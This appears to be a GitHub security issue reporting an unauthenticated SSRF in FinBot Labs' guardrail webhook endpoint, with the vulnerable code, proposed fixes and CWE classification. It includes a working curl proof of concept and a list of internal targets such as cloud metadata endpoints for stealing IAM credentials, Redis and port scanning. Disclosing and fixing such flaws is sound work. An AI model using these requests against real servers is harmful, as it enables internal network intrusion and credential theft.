Skip to content

[Security] Unauthenticated SSRF via Guardrail Webhook URL : No URL Validation, No Auth Required #535

Description

@prince-shakyaa

[Security] Unauthenticated SSRF via Guardrail Webhook URL : No URL Validation, No Auth Required

Summary

The FinBot Labs guardrail webhook configuration endpoint (PUT /labs/api/v1/guardrails) accepts an arbitrary webhook_url with no URL validation and no SSRF protection. The endpoint requires only a temporary (unauthenticated) session, meaning any anonymous visitor to the platform can register an internal URL (e.g., http://127.0.0.1:6379, http://localhost:8000/admin) as their webhook target.

Once registered, the server-side GuardrailHookService fires an HTTP POST to that URL during every guardrail hook invocation - or immediately via the /labs/api/v1/guardrails/test endpoint. This creates a fully exploitable blind Server-Side Request Forgery (SSRF) requiring zero authentication.


Affected Files

File Lines Issue
finbot/apps/labs/routes/guardrails.py L22–L27, L60–L80, L131–L148 No URL validation; get_session_context (allows temp/anonymous sessions)
finbot/guardrails/service.py L147–L154 httpx.AsyncClient().post(config.webhook_url, ...) — direct fetch

Root Cause: The Vulnerable Code

Step 1 : Webhook URL stored with no validation (guardrails.py)

class GuardrailConfigRequest(BaseModel):
    webhook_url: str = Field(max_length=2048)  # ← ONLY max length, no scheme/IP check
    hooks: dict[str, bool] | None = None
    timeout_seconds: int = Field(default=5, ge=1, le=30)
    enabled: bool = True

No scheme enforcement (http://, file://, gopher:// all accepted).
No hostname/IP validation : http://127.0.0.1, http://metadata.internal/ allowed.

Step 2 : Endpoint uses get_session_context (not get_authenticated_session_context)

@router.put("", response_model=GuardrailConfigResponse, status_code=200)
async def upsert_guardrail_config(
    body: GuardrailConfigRequest,
    session_context: SessionContext = Depends(get_session_context),  # ← ANONYMOUS OK
):

get_session_context returns any session, including temporary (unauthenticated) ones.
Any anonymous browser session can call this endpoint.

Step 3 : HTTP POST made directly to the attacker-controlled URL (service.py)

async with httpx.AsyncClient() as client:
    resp = await client.post(
        config.webhook_url,      # ← Attacker-controlled internal URL
        content=body_bytes,
        headers=headers,
        timeout=config.timeout_seconds,
    )

No IP blocklist. No scheme restriction. No redirect protection. Direct outbound request.

Step 4 : Instant trigger via test endpoint (guardrails.py)

@router.post("/test")
async def test_webhook_delivery(
    session_context: SessionContext = Depends(get_session_context),  # ← ANONYMOUS OK
):
    svc = GuardrailHookService(session_context=session_context, ...)
    outcome = await svc.invoke(HookKind.before_tool, ...)
    ...

The attacker doesn't even need to wait for a real agent session. They can trigger the SSRF immediately by calling /labs/api/v1/guardrails/test.


Why This Is Not Covered by Existing Issues

None of these issues cover the guardrail webhook_url field itself. Despite is_ssrf_safe() existing in the codebase as a shared utility, it is not called anywhere in the guardrail registration or test pipeline.


Proof of Concept (No network required)

# Step 1: Get a session cookie (anonymous - any fresh browser visit gives one)
SESSION_COOKIE=$(curl -sc /tmp/cookies http://localhost:8000/ && cat /tmp/cookies | grep finbot_session | awk '{print $7}')

# Step 2: Register an internal URL as the guardrail webhook
curl -X PUT http://localhost:8000/labs/api/v1/guardrails \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: <from /api/session/status>" \
  -b "finbot_session=${SESSION_COOKIE}" \
  -d '{"webhook_url": "http://127.0.0.1:6379/", "enabled": true}'

# Step 3: Trigger the SSRF immediately
curl -X POST http://localhost:8000/labs/api/v1/guardrails/test \
  -b "finbot_session=${SESSION_COOKIE}" \
  -H "X-CSRF-Token: <same token>"

# Result: Server makes an outbound POST to http://127.0.0.1:6379/
# Redis (or any internal service) receives the request

Attack Scenarios

Target Impact
http://127.0.0.1:6379/ (Redis) Inject Redis commands (if not password-protected), read keys
http://127.0.0.1:8000/admin Port scan / hit internal admin API endpoints
http://169.254.169.254/latest/meta-data/ AWS IMDS - steal IAM credentials
http://100.100.100.200/latest/meta-data/ Alibaba Cloud IMDS
http://localhost:5432/ PostgreSQL banner enumeration via timing oracle
Any RFC-1918 or link-local address Internal network scanning

Because timeout_seconds is user-controlled (1–30s), the attacker can also use timing differences to map open vs. closed ports on the internal network.


Impact

Dimension Assessment
Authentication required None - anonymous temp sessions work
Interaction required Trigger once via /test, results visible in API response
Scope Internal network reachable from the server
Severity Critical (CVSS ≈ 9.1)
Existing mitigation None - is_ssrf_safe() exists in codebase but is not applied here

Proposed Fix

Option A (Recommended) : Apply is_ssrf_safe() to the webhook URL before storing it:

# guardrails.py — upsert_guardrail_config
from finbot.apps.ctf.routes.profile import is_ssrf_safe

@router.put("", ...)
async def upsert_guardrail_config(body: GuardrailConfigRequest, ...):
    if not is_ssrf_safe(body.webhook_url):
        raise HTTPException(
            status_code=422,
            detail="Webhook URL must be a public HTTPS URL (private/loopback IPs are blocked)"
        )
    ...

Option B : Require authenticated session for webhook registration:

@router.put("", ...)
async def upsert_guardrail_config(
    body: GuardrailConfigRequest,
    session_context: SessionContext = Depends(get_authenticated_session_context),  # ← fix
):

This doesn't fix the SSRF but reduces the unauthenticated attack surface.

Option C (Defense-in-depth) : Apply both A and B.

Also apply is_ssrf_safe() validation in GuardrailHookService.invoke() as a second layer to catch any URL that slips through the registration layer.


Steps to Reproduce

  1. Open the platform in a fresh browser (anonymous session).
  2. Note the CSRF token from GET /api/session/status.
  3. PUT /labs/api/v1/guardrails with webhook_url = "http://127.0.0.1:6379/".
  4. Observe 200 OK and the URL stored in the database.
  5. POST /labs/api/v1/guardrails/test - observe in server logs that an outbound POST was made to 127.0.0.1:6379.

Classification

CWE CWE-918 (SSRF), CWE-306 (Missing Authentication for Critical Function)
OWASP Top 10 2021 A10 - Server-Side Request Forgery, A01 - Broken Access Control
Severity Critical
Existing utility to fix it is_ssrf_safe() in finbot/apps/ctf/routes/profile.py - just not applied here

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions